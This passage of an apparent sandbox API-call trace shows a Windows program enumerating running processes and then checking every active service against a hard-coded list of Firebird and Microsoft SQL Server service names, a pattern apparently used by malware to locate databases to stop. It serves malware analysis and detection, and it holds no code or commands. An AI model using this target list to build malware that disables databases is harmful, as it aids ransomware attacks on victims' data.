pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.165] lstrlenW (lpString="svchost.exe") returned 11 [0271.165] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.165] lstrlenW (lpString="svchost.exe") returned 11 [0271.165] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.166] lstrlenW (lpString="svchost.exe") returned 11 [0271.166] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.167] lstrlenW (lpString="svchost.exe") returned 11 [0271.167] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.167] lstrlenW (lpString="svchost.exe") returned 11 [0271.168] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0271.168] lstrlenW (lpString="spoolsv.exe") returned 11 [0271.168] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.169] lstrlenW (lpString="svchost.exe") returned 11 [0271.169] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0271.170] lstrlenW (lpString="audiodg.exe") returned 11 [0271.170] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0271.170] lstrlenW (lpString="sihost.exe") returned 10 [0271.171] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.171] lstrlenW (lpString="svchost.exe") returned 11 [0271.171] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0271.172] lstrlenW (lpString="taskhostw.exe") returned 13 [0271.172] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0271.172] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0271.173] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0271.173] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0271.173] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0271.174] lstrlenW (lpString="Memory Compression") returned 18 [0271.174] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x958, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0271.174] lstrlenW (lpString="explorer.exe") returned 12 [0271.174] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0271.175] lstrlenW (lpString="SearchUI.exe") returned 12 [0271.175] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0271.175] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0271.175] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0271.176] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0271.176] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0271.176] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0271.177] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0271.177] lstrlenW (lpString="finbbp.exe") returned 10 [0271.177] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x3bc, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0271.178] lstrlenW (lpString="consent.exe") returned 11 [0271.178] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xefc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.178] lstrlenW (lpString="svchost.exe") returned 11 [0271.178] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0271.179] lstrlenW (lpString="dllhost.exe") returned 11 [0271.179] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0271.179] CloseHandle (hObject=0x388) returned 1 [0271.179] Sleep (dwMilliseconds=0x1f4) [0271.930] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41aa8f8 [0271.931] EnumServicesStatusExW (in: hSCManager=0x41aa8f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 0 [0271.931] GetLastError () returned 0xea [0271.931] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1ca4) returned 0x5070058 [0271.932] EnumServicesStatusExW (in: hSCManager=0x41aa8f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5070058, cbBufSize=0x1ca4, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5070058, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 1 [0271.932] CloseServiceHandle (hSCObject=0x41aa8f8) returned 1 [0271.933] lstrlenW (lpString="Appinfo") returned 7 [0271.933] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0271.933] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0271.933] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0271.933] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0271.933] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0271.933] lstrlenW (lpString="AppXSvc") returned 7 [0271.933] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0271.933] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0271.933] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0271.933] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0271.933] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0271.933] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0271.933] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0271.933] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0271.933] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0271.934] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0271.934] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0271.934] lstrlenW (lpString="Audiosrv") returned 8 [0271.934] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0271.934] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0271.934] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0271.934] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0271.934] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0271.934] lstrlenW (lpString="BFE") returned 3 [0271.934] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0271.934] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0271.934] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0271.934] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0271.934] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0271.934] lstrlenW (lpString="BITS") returned 4 [0271.934] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0271.934] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0271.934] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0271.934] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0271.934] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0271.934] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0271.934] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0271.934] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0271.934] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0271.934] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0271.934] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0271.934] lstrlenW (lpString="CDPSvc") returned 6 [0271.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0271.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0271.935] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0271.935] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0271.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0271.935] lstrlenW (lpString="ClickToRunSvc") returned 13 [0271.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0271.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0271.935] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0271.935] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0271.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0271.935] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0271.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0271.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0271.935] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0271.935] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0271.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0271.935] lstrlenW (lpString="CryptSvc") returned 8 [0271.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0271.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0271.935] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0271.935] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0271.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0271.936] lstrlenW (lpString="DcomLaunch") returned 10 [0271.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0271.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0271.936] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0271.936] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0271.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0271.936] lstrlenW (lpString="DeviceAssociationService") returned 24 [0271.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0271.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0271.936] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0271.936] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0271.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0271.936] lstrlenW (lpString="Dhcp") returned 4 [0271.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0271.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0271.936] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0271.936] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0271.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0271.936] lstrlenW (lpString="Dnscache") returned 8 [0271.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0271.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0271.936] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0271.936] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0271.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0271.936] lstrlenW (lpString="DPS") returned 3 [0271.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0271.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0271.937] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0271.937] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0271.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0271.937] lstrlenW (lpString="DusmSvc") returned 7 [0271.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0271.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0271.937] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0271.937] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0271.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0271.937] lstrlenW (lpString="EventLog") returned 8 [0271.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0271.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0271.937] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0271.937] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0271.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0271.937] lstrlenW (lpString="EventSystem") returned 11 [0271.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0271.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0271.937] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0271.937] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0271.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0271.937] lstrlenW (lpString="FontCache") returned 9 [0271.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0271.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0271.937] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0271.937] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0271.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0271.938] lstrlenW (lpString="gpsvc") returned 5 [0271.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0271.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0271.938] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0271.938] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0271.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0271.938] lstrlenW (lpString="iphlpsvc") returned 8 [0271.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0271.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0271.938] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0271.938] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0271.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0271.938] lstrlenW (lpString="KeyIso") returned 6 [0271.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0271.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0271.938] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0271.938] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0271.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0271.938] lstrlenW (lpString="LanmanServer") returned 12 [0271.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0271.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0271.938] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0271.938] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0271.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0271.938] lstrlenW (lpString="LanmanWorkstation") returned 17 [0271.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0271.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0271.939] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0271.939] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0271.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0271.939] lstrlenW (lpString="lfsvc") returned 5 [0271.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0271.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0271.939] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0271.939] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0271.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0271.939] lstrlenW (lpString="lmhosts") returned 7 [0271.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0271.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0272.075] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0272.075] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0272.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0272.075] lstrlenW (lpString="LSM") returned 3 [0272.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0272.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0272.076] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0272.076] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0272.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0272.076] lstrlenW (lpString="MpsSvc") returned 6 [0272.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0272.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0272.076] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0272.076] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0272.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0272.076] lstrlenW (lpString="NcbService") returned 10 [0272.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0272.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0272.076] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0272.076] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0272.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0272.076] lstrlenW (lpString="netprofm") returned 8 [0272.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0272.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0272.076] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0272.076] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0272.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0272.076] lstrlenW (lpString="NgcSvc") returned 6 [0272.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0272.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0272.077] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0272.077] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0272.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0272.077] lstrlenW (lpString="NlaSvc") returned 6 [0272.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0272.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0272.077] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0272.077] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0272.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0272.077] lstrlenW (lpString="nsi") returned 3 [0272.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0272.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0272.077] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0272.077] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0272.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0272.077] lstrlenW (lpString="PcaSvc") returned 6 [0272.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0272.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0272.077] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0272.077] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0272.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0272.077] lstrlenW (lpString="PlugPlay") returned 8 [0272.077] lstrcmpiW 